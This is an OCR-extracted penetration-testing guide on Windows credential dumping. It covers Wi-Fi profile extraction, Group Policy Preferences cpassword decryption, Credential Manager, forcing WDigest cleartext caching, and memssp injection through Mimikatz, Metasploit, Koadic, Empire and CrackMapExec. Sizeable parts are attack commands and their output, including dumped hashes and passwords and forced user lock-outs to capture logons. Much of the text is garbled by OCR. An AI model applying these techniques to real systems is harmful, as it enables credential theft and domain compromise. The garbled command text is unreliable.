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Introduction

What is Credential Dumping?

When the term password cracking is used in the cyber world, it is being used as a broad concept as it shelters
all the methods related to attacking/dumping/retrieving passwords of the victim/target. But today, in this
article we will solely focus on a technique called Credential Dumping. Credential dumping is said to be a
technique through which username and passwords are extracted from any login account from the target
system. It is this technique that allows an attacker to get credentials of multiple accounts from one person.
And these credentials can be of anything such as a bank, email account, social media account, wireless
networks.

Credential Dumping in Real Life

When an attacker has access to the target system and through that access, they successfully retrieve the
whole bunch of their credentials. Once you are inside the target’s system, there are multiple methods to
retrieve the credentials of a particular thing. For instance, to redeem all the names and passwords of the
wireless networks to which the operating system has connected, there are various methods that an attacker
can use and we will try and cover all of those methods here in our article. Now another thing to focus on is
that this dumping of credentials can be done both in internal penetration testing and external penetration
testing, it depends on the methodology, perspective or subjectivity of the attack on the bases of which the
best suitable method can be decided.
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CREDENTIAL DUMPING: WIRELESS

Manual Credential Dumping

All the Wi-Fi password with their respective SSID is stored in an XML file. The location of these files is
C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\***. Here, you will find that the SSID of wifi is saved
in clear text whereas passwords are stored as keys
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Credential Dumping using netsh

Netsh is a scripting utility provided by Microsoft itself. It can be used both in command prompt or Windows
PowerShell. Netsh is short for network shell. When executed, it provides detailed information about the
configuration of the network that the system ever had; including revealing the credentials of wireless
networks that it has ever been connected to. This utility comes with various parameters that can be used to
get various information as per the requirement. This method can be used both in internal and external
penetration testing as netsh commands can be executed both locally and remotely. To get the list of the SSIDs
that the device has been connected to use the following command:

C:\WINDOWS\system32>netsh wlan show

Profiles on

arr Protile - Met
* Profile » Linuxlab
* Profile : Pentest Lab

User Profile : Iptech

eterpreter

And as a result of the above command, you can see the names of the Wi-Fi networks that the system was
connected to in the past or present such as Meterpreter, Linuxlab, etc. The same has been demonstrated in the
image above.

www.indiancybersecuritysolutions.com



N

Further, to know the passwords of any one of the mentioned SSIDs use the following command:

' And just like it is shown in the image above, the result of the above command will give you the password.
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Credential Dumping using Wireless KeyView

A wireless key view is a simple software that accesses the XML files where wireless passwords are stored and

reveals themin ¢
network. This is t
this method simp

eartext. This tool was developed to recover lost and forgotten password of a wireless
1e perfect method for credential dumping in internal network penetration testing. To utilize
y download the tool from here and run it, you will get all the Wi-Fi names and its password

as shown in the image below:
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Credential Dumping using Wifi Network
Properties

Our next method is manual, it is good when you are introduced to the network to work but for some reason,
the password of the network isn’t revealed to you. Then you can use this method, as it falls under the category
of internal penetration testing methodology. To reveal the password of a wireless network manually, go to
Control Panel > Network and Internet > Network and Sharing Center and then click on Wi-Fi (*SSID*). A
dialogue box will open, in that box click the Wireless Properties button in the upper pane. Next, go to the
Security tab and you can see the password there just as it is shown in the image below:
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Credential Dumping using LaZagne

LaZagne is an open-source tool that was developed to retrieve all the passwords stored in your machine. We
have covered LaZagne in our other article, which you can read from here. In our experience, LaZagne is an
amazing tool for credential dumping and it’s the best tool to be used for external penetration testing. To
extract a Wi-Fi password with LaZagne, simply download the tool from here and run it remotely using it
following command:

After running the above command, all the Wi-Fi-related passwords with their respective SSID will be
extracted.
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Credential Dumping using Mimikatz

Another method that can be very useful in external penetration testing is using Mimikatz. We have covered
various features of Mimikatz in our other article, which you can find here. Once you have the victim’s session
use the following commands to get the passwords:

rpret > getsystem
as BOT System via techmigue 1 (Wemed Pipe Imperscnation (Im Memory/Admin)).
melErpreter > load kiwi
Loadimg extenclion kiwl ...
ERETEE. mimikatz 2.2.8 281911325 {xB5 windous )
B " ¥, A La vie, A L'Amour® - {oe.go)
g /N e Sess Benjamin DELPY " gentilkiwi’ ( benjamind@gentilkiwi.com )
Ba Y / kB * http: fblog.gentilkivwi.com/mimnikat:
'mN v ' ViAc&RT LE TOWIE [ vincent,letouxdgmail.com )
'FERERC > http:/fplmgcastle.com J hitp://mysmarilogon.com ek

] Lowded xB& Eiwi on am x64 architecture.

SUCCEgE,

= u" =]~ Fe £ =

wifi_list_shared

{FIEEEBEAE-ESTA-&4566-B28E-BCMECSRETC]

DIRECT =MNDES KTO#

State:

Linik meomtni

KOBN]IEmECT WPAZFSK

I'lljl:ll

Type Shared Key

Linknosan  fedede | - s D8t X0 s f-ino S g Fh
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5T
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MHEAE PSS
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open
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L K el
L b mermin
LAri b momen
U ko
1 K iy
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L b2 memdni
Ui b reO@in
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U K P
L b Permdiny
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i b et
Ll
U ke Py
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L b e
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And very easily you will have all the passwords at your service as shown in the image above.
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Credential Dumping using Metasploit

Framework

Then our next method is to use Metasploit to retrieving desired passwords. As all of us know that Metasploit is
a framework that provides us with already constructed exploits to make pen testing convenient. And is an
amazing platform for a beginner and expert in hacking the pentesting world. Now, to dump credentials there
comes an in-built post exploits in the Metasploit and to run the said exploit; go to the terminal of Metasploit
by typing msfconsole and get the session of you to the target system using any exploit you prefer. And then
background the session use the post-exploit for extracting desired Wi-Fi credentials by using the following

commands:

msfS > use post/windows/wlan/wlan_profile

msfS postl } > set session 1
Se55i0n = ]

msfS post( } » exploit

[#] Wireless LAN Profile Information

GUID: {ed@dlS5Tal-e&f9-429e-9767-4dBdlcsBefib} Description: Imtel(R) Wireless-AC 9568

Profile Hame: Meterpretér
<7ml version="1_.82%"7">»

<WLANProfile xalns="http://wea microsoft.com/networking/ WLAN/profile/v1™>

EFH“PJHPtFFFFEt?E&EHHNP?
<SSIDConfig>
LR
chex»4DESTAESTZTAT265746572¢ hex>
cname-Meterpreter</ name>»
</ S51ID>
f SSIDConfig>
cCommect 1I'Jr'IT'|'|'.'|-|:.' = E"."n-"."n-'-;-'- COnnECT !I.l:lr'IT'|.'|'.'|-|:.' =
cconnectionMade>autod connectionMades
< MM

CERCUTItY>
cauthEncryption>
<authentication>WPAZPSK</ authentication:
cencryption>AES< encryption>
cuselnexX>false</ usedneks
¢f authEncryption:
ciharedKeys

<KeyType>passPhrase</KeyType>
<protected>false</protected>
<keyMaterial>ICSS</keyMaterial>
<sharedKey>
< SECUrity>
& MSM >

<MacRandomization xmlnss"http:/ wew .microsoft.con/networking/WLAN/profile/va®>
<enableRandomization>false</ enableRandomization>
<randomizationSeed>&173769958< randomizationSead>

/MacRandomization?
</ WLANFrofile>

And just as it is shown in the image above, you will have your credentials.
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CREDENTIAL DUMPING: GROUP POLICY
PREFERENCES (GPP)

What is group policy preferences?

Group Policy preferences shortly term as GPP permit administrators to configure and install Windows and
application settings that were previously unavailable using Group Policy. One of the most useful features of
Group Policy Preferences (GPP) is the ability to store, and these policies can make all kinds of configuration
changes to machines, like:

Map Drives

» Create Local Users

- Data Sources

* Printer configuration

* Registry Settings

- Create/Update Services

« Scheduled Tasks

« Change local Administrator passwords

Why using GPP to create a user account is a
bad idea?

If you use Microsoft GPP to create a local administrator account, consider the safety consequences carefully.
Since the password is stored in SYSVOL in a preferred item. SYSVOL is the domain-extensive share folder in
the Active Directory accessed by all authenticated users. All domain Group Policies are stored here:
\\\SYSVOL\\Policies\ When a new GPP is created for the user or group account, it’ll be interrelated with a
Group.XML file created in SYSVOL with the relevant configuration information and the password is AES-256
bit encrypted. Therefore, the password is not secure at all authenticated users have access to SYSVOL. “In this
article, we will be doing active directory penetration testing through Group Policy Preferences and try to steal

store password from inside SYSVOL in multiple ways”.
Let’s Start!!

Lab Setup Requirement:

* Microsoft Windows Server 2008 r2
* Microsoft Windows 7/10

« Kali Linux

www.indiancybersecuritysolutions.com




Create a account in Domain Controller
with GPP

' On your Windows Server 2008, you need to create a new group policy object (GPO) under “Domain Controller”
using Group Policy Management.

I Greap Polcy Hansgemant
o Pl REr e Wndoe  rep
e 570X B
I, o Pkl Fgigtned Qoman Controllers
il Lirkodt Do Picy CBpetn | e Sokcy Iriastancs | Cubegaor

Bl vyl kn g | ke~ | GO | Brviorcasd | Lank lorahied | GPY) Sama | &
T Corkoles gl |
e P Tt

i o O] Sl
Do
i ||ra-".'.-
15 Crmup Policy Faccing - '_ .
o Palery Brmih [ e Gomtaags Py (i ":'
e Wt Dl

Irﬂq

\Now create a new user account by navigating to Computer Gonfiguration > Control Panel Settings > Local
Users and Groups. Then Right-click in the “Local Users and Groups” option and select the New > Local User.

2] ratwarcan A Exierded §, Slardard J

Then you get an interface for new local user property where you can create a new user account.
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As you can observe from the given below image, we had created an account for user “raaz”

Pasgward: YTl #

Corfirmn Password: | sssensas

[ User must chamge password al next logon
[ User cannot change password

[ Passeord never experes
| Account s disabled

v ACCoUNE NEVer expires

I
-:-:\cema| Apcly | ﬂen:-.

Don’t forget to update the group policy configuration.

——  Typethe name of a program, felder, decument, or Internet
= resgurce, and Windows will open it for you.

Open: gpupdate .;:: -

“ This task will be created with administrative privileges.

Cancel
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S0, as | had already discussed above, that, whenever a new gpp is created for the user or group account, it will

property tags in plain text.

he associated with a Group.XML which is stored inside /SYSVOI. From the image below, you can see the entire
nath that leads to the file Group.xml. As you can see, this XML file holds cpassword for user raaz within the

Ly e gl o Polegy o O ep il T TR, AL SR L 0 ey ¢ Pepliggeoqn ¢ Eesm
= = = e oarm o~ [ ke

Bt e B

PR e ey d iy B

B TR T L o T O PR |

F T g e e ey E—— g e oeven e i iy e s ey erp e deeorl e s e e e el e

N F T FER A IS C o o L F SRR R TR i
' S TR L RSN R RS N EE R R R LT T AR o] I Ry F e R EN TR S 1 R S E S N TR
CESIERFF Sa56 300K BEAS [FIEFERLapir |
Frrratins & G S T e el g e o pgl ] SRR DG i b b b 3 STl B R A SR PR
a’ g =l cpa el =i pos il akec="1 = rada’

Exploiting group policy preferences via
Metasploit-|

As we know an authorized user can access SYSVOL and suppose | know the client machine credential, let say
raj: ICSS@123 then with help of this | can exploit Group Policy Preference to get the XML file. The Metasploit
auxiliary module lets you enumerate files from target domain controllers by connecting to SMB as the rouge
user. This module enumerates files from target domain controllers and connects to them via SMB. It then
looks for Group Policy Preference XML files containing local/domain user accounts and passwords and
decrypts them using Microsoft’s public AES key. This module has been tested successfully on a Win2k8 R2

Domain Controller.
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| Hence you can observe, that it has dumped the password:abcd@123 from inside the Group.xml file for user
raai.

Exploiting group policy preferences via
Metasploit-||

Metasploit also provide a post exploit for enumerating the cpassword, but for this, you need to compromise
the target’s machine at least once and then you will be able to run the below post exploit. This module
enumerates the victim machine’s domain controller and connects to it via SMB. It then looks for Group Policy
Preference XML files containing local user accounts and passwords and decrypts them using Microsoft’s
public AES key. Gached Group Policy files may be found on end-user devices if the group policy object is
deleted rather than unlinked.
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From the given below image you can observe, it has been found cpassword twice from two different locations:
C:\ProgramData\Microsoft\Group Policy\History\{ EE416E94-71362-458]-
9CEC651656DB7538}\Machine\Preferences\Groups\Groups.xml
C:\Windows\SYSVOL\sysvol\Pentest.Local\Policies\{ EE416E94-71362-458]-
9CEC651656DB/538}\Machine\Preferences\Groups\Groups.xml

| king Tor group policy
[+] Cached Group Policy folder 1
[*] Checking for SYSYOL Llocall
[+] YSVOL Group Policy Files found Lo
| Enumérating Domains on the Networ
FERROR NO BROWSER SERVERS FOUND
[ earching Tor Group Policy XML Fl1le:
| # PAEFS1mO TLLE: | PFrogramData‘\MlcrosoTt\Group F
1+] G Pollcy Credentla InTo

Mame

Y PE
USERMNAME
s3WURD
DOMALN CONTROLLER
DUOMALN
CHANGED
NEVER EXPIRESY
DISABLED

I Y PE

IS ERNRME

i WORD

DOMATIN CONTROLLER
DOMATH

CHAMGED

NEVER EXPIRES?
DISABLED
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Gpp-Decrypt

Another method is to connect with the target’s machine via SMB and try to access /SYSVOL with the help of
smbelient. Therefore execute its command to access the shared directory via an authorized account and then
move to the following path to get Group.xml file:SYSVOL\sysvol\Pentes.Local\Policies\{ EE416E94-1362-
4581-9CEC691656DB7538}\Machine\Preferences\Groups\Groups.xml

Praferances
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[ ————————

As you can observe, we have successfully transfer Group.xml to our local machine. As this file holds
cpassword so now we need to decrypt it.

For decryption, we use “gpp-decrypt” which is embedded in a simple ruby script in Kali Linux which decrypts a
given GPP encrypted string. Once you got access to Group.xml file, you can decrypt cpassword with the help of
the following syntax:

As a result, it dumps the password in plain text as shown below.
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GpJ3finder

| This is another script written in python for decrypting the cpassword and you can download this tool from
here. Once you got access to Group.xml file, you can decrypt cpassword with the help of the following syntax:

As a result, it dumps the password in plain text as shown below.

PowerShell Empire

This another framework just like Metasploit where you need to access a low privilege shell. once you exploit
the target machine then use privesc/gpp module to extract the password from inside Group.xml file. This

module Retrieves the plaintext password and other information for accounts pushed through Group Policy
Preferences.
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As a result, it dumps the password in plain text as shown below

Windows PowerShell

There is another method to retrieves the plaintext password and other information for accounts pushed
through Group Policy Preferences locally with the help of power split “Get-GPPPaswword”. You can download
the module from here, it is a Powershell script which you need Get-GPPPassword searches a domain controller
for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. Now
run the following command in the PowerShell:

As a result, you can observe that it has dumped the saved password from inside group.xml file.

1 19T M4 -COEC -49RE-AD]D-FE IEITHARSD S Murhines P
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CREDENTIAL DUMPING:
WINDOWS CREDENTIAL MANAGER

Accessing Credential Manager

To access credential manager, you can simply search it up in the start menu or you can access it bu two of the
following methods: You can open control panel > user accounts > credential manager You can also access it
through the command line with the command vaultcmd and its parameters. When you connect to another
system in the network using any method like in the following image:

Type the name of a program, folder, decument, or Intennet
resgurce. and Windows will open it for you,

W19 168.1.104

And while connecting when you provide the password and store it for later use too then these credentials are
saved in credential manager.

Windows Secunty

Enter network credentials

Enter your credentials to connect toc 1592,168.1.104
I'aj

Rernernber my credential

The uSer name o Hsis swand 15 Incorrect

QK
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You can confirm from the following image that the password is indeed saved.

>

% Manage passwords

03 General

B Privacy & security Saved passwords

ﬂ;-, Passwords & autofill

E Advanced
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And now, when you access credential manager, using any method, you will find that in the windows credentials
tab all the system, network passwords are stored.

e e ] Tirdrrh kla~ppm

A NEE ST TR L

Wik bined d8 B S Tid e ed B ecaTradeen Mo sebbirsi, ¢ orraa sl bpph o mesm T and e oiks

o

f}r Wt € e .. | W [reabentish £33

cdrvl cwa-Lared Ccarial

M cpideals

And under the web credentials tab there are will be application’s passwords and the passwords saved in the
edge will be saved.

— T B O U Apcounts @ Credental Wanages

L oire] Fas o &3 .
didy e ol credentials

View arid delete povar sived legan indoemiation M webiile, connected spplations ared neterorks.

h%f Wb Credentios 1::] .-?r Wit 1 edhenbials

Wds Pashandnds
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Metasploit

Now all these credentials can be dumped with simple methods. Once you have a session through Metasploit,

all you

have to do is upload mimikatz and run it. Mimikatz is an amazing credential dumping tool. We have

covered mimikatz in detail in one of our previous articles, to read that article click here. And to run mimikatz

remote
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And once the mimikats is executed successfully, you will get credentials from the cred manager as shown in

the image above.
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Empire

Similarly, while using empire, you can dump the credentials by downloading Lazagne.exe directly in the target
system and then manipulating the lagazne.exe file to get all the credentials. LaZange is one of the best
credential dumping tools. We have covered LaZagne in detail in one of our previous articles, to read that
article click here. Use the following commands to dump the credentials with this method:
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CredentialsFileView

Our next method is using a third-party tool, i.e., credential-file view. This tool is very effective when it comes
to internal penetration testing. To use this tool, simply download it and launch it. After launching itself, it will
ask you for the windows password.

DTy onsdendinks fies gfF 50y Sysiem - Semines i Tvpe the g popseond

! Pl [T Boed o rwesdedd =y o womu pvden! T dm S il Pl e e By |
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CREDENTIAL
DUMPING: WDIGEST
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CREDENTIAL DUMPING: WDIGEST
Introduction to WDigest

WDigest.dll was launched through Windows XP was specifically crafted for HTTP and SASL authentication. Its
work was to send confirmation of secret keys to authenticate the said protocol. The security attributes of the
NTLM protocol were applied to this DLL file as it’s a challenge/response protocol too. WDigest protocol is
enabled in Windows XP — Windows 8.0 and Windows Server 2003 — Windows Server 2012 by default, which
allows credentials to be saved in clear text in LSAS file. Windows 10, Windows Server 2012 R2 and Windows
Server 2016 doesn’t have this protocol active. And it also released a patch for earlier versions.

Working of WDigest.dll

As it is a challenge-response protocol, it important to understand how it works. Such protocols demand a
validating server that creates a challenge for them. The said challenge has incalculable data. A is key is
obtained from the user’s password which is further used to encrypt the challenge and to craft a response. A
reliable service can then validate the user processes by comparing to the encrypted response that is received
by the client and if the responses match, then the user is authenticated. Now that we have understood what
exactly a WDigest protocol is and how it works, let’s get to practice how to exploit it.
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[ ————————

Manual

| Our first method to exploit WDigest to dump the desired credentials is manual. Such a method comes in handy
in white box pentesting. In this method, download mimikatz and run the following commands:

| As you can then see that the result of the above commands didn’t bear a fruit because the WDigest protocol
wasn't active. To activate the said protocol, use the following command:
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| vThe above command will create a file called UseLogonCredetnial in the WDigest folder in the registry and
simultaneously sets its binary value to 1 as you can in the image below:

Computer\ HEEY_LOCAL_MALCHIMESYSTEM VW urrentlontrofiet Contral\SecuntyProwvders Wihgest

ProductUpbons A~ || Name Type Data
FEadiokianagemen

A ) #{[efault) REG SF Iwalue not et
Emote AsmlAncE || 52 Debuglevel REG_DWORD I DO0000 (0]
=% DhgestEncryptionAlgorithms REG 52 Sdes, ncd
' -I- | Bl }
REG DWORD 000000 (1)
..:...-E.I.tnt!. | = - g _n e = "
SCMCorfig RaUTF: REG_DWORD O EO000001 (1)
ScciPort =| LITFE REG_DWORD Che 0000001 (1)

SeceBEood

g APl 1 TR TN T

FEeailllerma
Safedoot

SAl

The above step has just enabled WDigest in the system. Which will allow the password to be saved in memory
that too in clear texts. And now these passwords can be retrieved sneakily as you will see further in this
article.
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For now, we need to update the policy that we just entered in the registry using the following command:

Now, if you launch mimikatz and run the following commands then you will have the credentials.
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PowerShell

\In this method, we will be invoking PowerShell scripts in the system. This script will further help us get our
hands on the credentials. Download WdigestDowngrade.ps1 Simply launch the PowerShell Command Prompt
and run the following commands:

L J: G ks ;_I- B i 10 THE WO et Dy Bl 51
Czylmern'yra)i e ktop> Teeokw-digestDosngr sde
| T ersra Desktops mia] gy HIOLH = L ML GnT D s

HEEY _LOCAL _MACHIRL S SYSTENS Currentlontro] St yLontral ' Secur Ly
o e e i et i o T |

Once the above commands are executed successfully, run the following command to dump the credentials.
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PowerShell via Meterpreter

In this method, we will be invoking the PowerShell script in our meterpreter session. This script will further
help us get our hands on the credentials. When you have a meterpreter session, run the following commands
to create the UseLogonCredential file and make changes in the registry key

mETEEprater > reg enumkey =k HEKLNAASYSTEM\\CwrrentControlSet\\Control‘\\SecurityProviders
Enumerating: HKLMASYSTEM\CurrentControlSet\Control\SecurityProvidersiMDigest

values (5):

Do g L

Negotiste

UTFEHTTP

LUTFESASI
DigestEncryption&lgorlthms

peterpreter » Load powershell &
Laading extension powershell ... 5
RETErprater > poswershell _ilmport Sroot/Desktops Invoke-WdlgestDowngrade . psl
File succassfully 1mported. Ho result Was reEtarned.
peterpreter » powershell execute Invoke-WdigestDowngrade of
Crarand

ETerprater > reg snumkey =k HELNAWASYSTEM \CurrentfonirolSet\vControls\SecurliiyFroviders
Enumerating: HELW\SYSTEM\CurrentComntrolSet‘\Control\SecurityProviders\Mligest

Values (6}

Do g Lo

Negotiate

UTEFEHTTF

LTFESASI
DigestEncryptiond |l sorlthms
ULELuganredEn::a1

FFaT & -I

www.indiancybersecuritysolutions.com



After the above commands create the UseLogonCredential file as required and then you can launch mimikatz

to dump the credentials using the following commands: Download Invoke Mimikatz.psi

meterpreter > load powershell 4

Loading extension powershell ... Success.

meterpreter > powershell_import /root/Invoke-Mimikatz.psl

[#] File successfully imported. No result was returned.

meterpreter > powershell_execute Invoke-Mimikatz =CredsDump 45
#] Command executlon completed: s

. ANERN. mimikatz 2.2.8 (xb&) #1B362 Oct 30 21019 13:81:25
"A La Vie, A L"Amour” - (oe.eo)
g Sesw Benjamin DELPY "gentilkiwi ™ | benjaminfigentilkiwi.com )
» http://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX { vincent.letouxi@igmail.com )
» http://pingcastle.com / hitp://mysmartlogon.com s

mimikatz{powershell) # sekurlsa;:: logonpasswords

Authentication Id : @ ; 384258 (03000000 :00d4a482 )
SEs% S 100 » Interactive from 1
User Name + raj
Domain : DESKTOP-PIGEFKE®
Logon Server - DESETOP-PIGEFKR
Logon Time + &S5/2028 3:06:346 AM
SID r 5=1=-5-21-381266811-631860562-3888156799-1841
mgy
ld@epaens ] Primary
* UsSername : raj
w [maln = DESKTOP-PIGEFKS
* NTLM : 3dbded97dT1698a769204bebl12283678
* SHA1 : Bd5399508427ce?9556cdaF1918828c 108415053
tspkg
wligest :
* USername : raj
w Domain : DESKTOP-PIGEFKS
« Fassworda : 123 -
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Metasploit Framework

Our next method is an excellent method to dump the credentials remotely which often a requirement in grey
box pentesting. Once you have your meterpreter session via Metasploit, remember to background the session
and then you can execute the wdigest_caching exploit to make the changes in the WDigest folder which we
just did manually in our previous method by using the following commands

BRLHIPpT RIS > INTISEiToE

Ot Fystem wia technigue 1 {Hamed Pips Impersordtion (In Mesory/sdmin o
mERErpreter >

Backgrourd zéstlon 17 [y

psfL explaitl

mafs poskil 1 * ael peanion 1
Tession == 1

=ttt postd | > erploit

munning sodiile against DESETOP-FIGEFES
Checking 1f the HELNWSYSTEN\CurrenffontirelS=i‘\Confirgel vSecurltyFroviders Uil pes i vilsslopenCredenilal
Creating WealLogenlCeadantial DeORD value &8 1 ...
¥| WHgest Sefurity Provider enabled
o=t maduls Exerutloe comgle s
iafs poicl ] » .

hen further use the load kiwi module to dump the credentials. For doing so, type:

mElErprElar > Load kKiwi
Loading extension kiwl Mg
LR mimikatz 2.2.9 2919112% (xb4/windows)
i@ * B, "A La Vie, A L'Amour™ - (o@,.&0)
= Sy B Jess Hanjamln DELPY gentllkiwl § bamjaminggentilkiwl.com )
e S Ba » mttp: /fblog.gentilkiwi. comfmimikats
Bl v F#' Wincent LE TOLE L vinceat.letouxbEnail.com )
‘ESEES > http:sfpingcastie.com / http.!fnfsnartlngpn.:nn i

S CEES,

mterpreter > creds_wdlgest
[#] Runming a3

Retrieving wdigest credeatgials
wdlgest credentlals

s & rnam Caoima 1n Fassword

Cmiilld [nall]
DESKTOP-PIGEFEAS WORKGRDUP [ nall)
raj IESKVOP-PLGEFER 121
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PowerShell Empire

When you have a session through Empire, use the post exploit wdigest_downgrade to create the
UseLogonCredential file in wdigest folder and its registry key value i.e., 1 with the help of the following
commands:

v yarecdule mavagemenf Cwdigesl _downgractes ...
| = i

Edigeat =t o une Lopensredent sl
Barkstation lLecked

Once the above post exploit is executed successfully, you can use another build in post exploit to dump the
credentials with the following set of commands:

s usmrdale eredearinlnmims bt o ommns riks
LT f ] EFEEEF 4R w8 -1

E=1-i} Yeldvh = JEE I A kbl=T1 P 5l kY

F.L.E LmES b bublE on Mae 12 IWLT ES003 1 0e
i, & L SEmraer® L. D
Fojemin SFLFN "geariliddsl” [ Eenjeminggersilkiss com
m
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BN ENT 2 poetrinE L L] r emarled o i @@y
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CrackMapExec

CrackMapExec is a sleek tool that can be installed with a simple apt install and it runs very swiftly. This tool
creates the registry key due to which passwords are stored in memory as discussed previously. It requires a
bunch of things. Requirements: Username: Administrator Password: IGSS IP Address: 192.168.1.105

-8 Crackmapiiec smb 197.068.1.185 - 'Admindiztrator' =g "ICSS " - wiigest =0 ACTIOM=dnable
Falled loading sfiile at Juse/local/lib/pythont.?/dist-packages/crackmapeaec-5. 0. 1. devl-pyl. 7 . o/ o/ madules/s11n
192 . 068.1.185 hish NIN-S85TENTYILDZ Windows Sarver 2816 Standard Evaluatlon 1&353 x6& |(nawme:WIN-58
192 168.1.185 AT WIN-S@YTENTYLDE |[+) IGNITE'Adminlstratocr:Ignitesqn;
192 0068, 1. 085  &45 NIH-SayTIMTwL0Z [+] UsslogoeCredestial registry key created successfully
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CREDENTIAL DUMPING:
SECURITY SUPPORTER PROVIDER (SSP)

Introduction to Security Support Provider

Security Support Provider (SSP) is an APl used by windows to carry out authentications of windows login. it’s a
DLL file that provides security packages to other applications. This DLL stack itself up in LSA when the system
starts; making it a start-up process. After it is loaded in LSA, it can access all of the window’s credentials. The
configurations of this file are stored in two different registry keys and you find them in the following locations:

Manual

The first method that we are going to use to exploit SSP is manual. Once the method is successfully carried
out and the system reboots itself, it will dump the credentials for us. These credentials can be found in a file
that will be created upon user login with the name of kiwissp. This file can find in the registry inside
hkim\system\currentcontrolset\control\lsa. The first step in this method is to copy the mimilib.dll file from
mimikatz folder to the system32 folder. This file is responsible for creating kiwissp file which stores
credentials in plaintext for us.
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Then navigate yourself to hklm\system\currentcontrolset\control\lsa. And here you can find that there is no
entry in Security Packages as shown in the image below:
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The same can be checked with the following PowerShell command:

[hata

walue nat s=t)
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v i

Just as shown in the image below, there is no entry. So, this needs to be changed if want to dump the
credentials. We need to add all the services that help SSP to manage credentials; such as Kerberos, wdigest
etc. Therefore, we will use the following command to make these entries:
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And then to confirm whether the entry has been done or not, use the following command:

You can then again navigate yourself to hklm\system\currentcontrolset\control\lsa to the entries that you

just made.
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Now, whenever the user reboots their PC, a file with the name of kiwissp.log will be created in system32. Then
this file will have your credentials stored in cleartext. Use the following command to read the credentials:

Mimikatz

Mimikatz provides us with a module that injects itself in the memory and when the user is signed out of the
windows, then upon signing in the passwords are retrieved from the memory with the help of this module. For
this method, just load mimikatz and type:

&4 mimikatz 2.2.0 x6d (oe.20)
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Microsoft Windows :Ffr:JnF

C:\Users\raj>type C:
| 80000000 :80132T91 |
| 20000000 :00133171 |
| DESKT [GEFK

C\yUsaps\rais
s WWSETNS .r:J].-

Metasploit Framework

When dumping credentials remotely, Metasploit comes in handy. The ability of Metasploit to provide us with
kiwi extension allows us to dump credentials by manipulating SSP just like our previous method. Now when
you have a meterpreter session through Metasploit use the load kiwi command to initiate kiwi extension. And
then to inject the mimikatz module in memory using the following command:

Now the module has been successfully injected into the memory. As this module creates the file with clear
text credential when the user logs in after the memory injection; we will force the lock screen on the victim so
that after login we can have our credentials. For this run the following commands:
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Now we have forced the user to logout of the system. Whenever the user will log in our mimilsa file will be

created in the system32 and to read the file using the following command:

meterpreter > load kiwil x:
Loading extension kiwil ...

HEsEE. mimikatz 2.2.0 20191125 (x64/windows)
"A La Vie, A L'Amour” - (oe.eo)

f#*%% Benjamin DELPY "gentilkiwi

( benjamin@gentilkiwi.com )

> http://blog.gentilkiwl.com/mimikatz

Vincent LE TOUX

( vincent.letouxagmail.com )

> http://pingcastle.com / http://mysmartlogon.com %/

Success.
meterpreter > kiwli_cmd misc ::memssp
Injected =)

-

—

meterpreter > shell
Process 6344 created.

Channel 2 created.
Microsoft Windows [Version 190.0.18362.7

20]

(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>RunD1132.exe user32.dll,LockWorkStation

RunD1132.exe user32.dll,LlLockWorkStation

C:\Windows\system32>type C:\Windows\System32\mimilsa.log

type C:\Windows\System32\mimilsa.log

[eP00R00D:00223a2e] DESKTOP-PIGEFK@\raj
[EEEEEEEH:EHEI3&IE] DESKTOP-PIGEFKRY raJ
[e00@0000:00223a2e] DESKTOP-PIGEFK@\raj
[00000000:00223a4d] DESKTOP-PIGEFK@®\raj
[e0000000:00223a4d] DESKTOP-PIGEFK@\raj
[ePoe0000:00223a4d] DESKTOP-PIGEFK@\raj

C:\Windows\system32>}
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Koadic

Just like Metasploit, Koadic too provides us with a similar mimikatz module; so, let’s get to dumping the
credentials. Once you have a session with Koadic, use the following exploit to inject the payload into the

memory:

koadic: use mimikatz dynwrapx
koadic: set MIMICMD misc ::memssp H:
[+] MIMICMD =+ misc ::memssp
koadic: execute
Zombie @: Job (implant/inject/mimikatz dynwrapx) created.
| Zombie @: Job @ (implant/inject/mimikatz dynwrapx) privilege::debug — got SeDebugPrivilege!
| Zombie @: Job @ (implant/inject/mimikatz dynwrapx) token::elevate =+ got SYSTEM!
| Zombie @: Job @ (implant/inject/mimikatz dynwrapx) completed.
| Zombie @: Job @ (implant/inject/mimikatz dynwrapx) misc :: memssp
njected =)

Zombie 8: Job 1 (implant/manage/exec_cmd) created.
Result for "del /f XTEMPX\dynwrapx.dll & echo done:

done

koadic:

' Once the above exploit has successfully executed itself, use the following commands to force the user to sign
out of the windows and then run the dll command to read the mimilsa file:

koadic: cmdshell @ of
Press '?' for extra commands

[koadic: - Ci'\Windows\system32]> RunD1132.exe user32.dll,LockWorkStation
Zombie @: Job 2 (implant/manage/exec_cmd) created. !

[koadic: = C:\Windows\system32]> o

[ koadic: = C:\Windows\system32]>» type mimilsa.log
Zombie @: Job 3 (implant/manage/exec_cmd) created.

Result for "cd /d C:\Windows\system32 & type mimilsa.log :

[ d3R00000:001369ea] DESKTOP-PIGEFK@\raj 123

[ deR00000:00136a12 ] DESKTOP-PIGEFEK@®\raj 123 :

[ koadic: - C:\Windows\system32]> |

As shown in the above image, you will have your credentials.
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PowerShell Empire

Empire is an outstanding tool, we have covered the PowerShell empire in a series of article, to read the article
click here. With the help of mimikatz, empire allows us to inject the payload into the memory which further
allows us to retrieve windows logon credentials. Once to have a session through the empire, use the following
post exploit to get your hands on the credentials:

After the exploit has executed itself successfully, all that is left to do is lock the user out of their system so
that when they sign in, we can have the file that saves credentials in plaintext for us. And no to lock the user
out of their system use the following exploit:

) » usemodule persistence/misc/memssp
) » execute

y

(Empire: ) >

Job started: 1FUALH

Hostname: DESKTOP-RGP209L / 5-1-5-21-693598195-96689818-1185849621
HEREH . mimikatz 2.2.0 (x64) #1B8362 Feb 15 2020 87:31:33

##. "A La Vie, A L'Amour” - (oe.eo)

##t /w++x Benjamin DELPY “gentilkiwi®™ ( benjaminagentilkiwi.com )

(1= » http://blog.gentilkiwl.com/mimikatz

v i Vincent LE TOUX ( vincent.letoux@gmail.com )

'HRREN’ > http://pingcastle.com / http://mysmartlogon.com &/

i
gt S\
# N/
i

mimikatz(powershell) # misc:: memssp
Injected =)

memssp installed, check C:\Windows\System32\mimisla.log for logon events.

(Empire: )} > back
(Empire: ) > usemodule management/lock <€
(Empire: ) > execute

¥
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After the user logs in, the said file will be created. To read the contents of the file use the following command:

Microsoft Windows

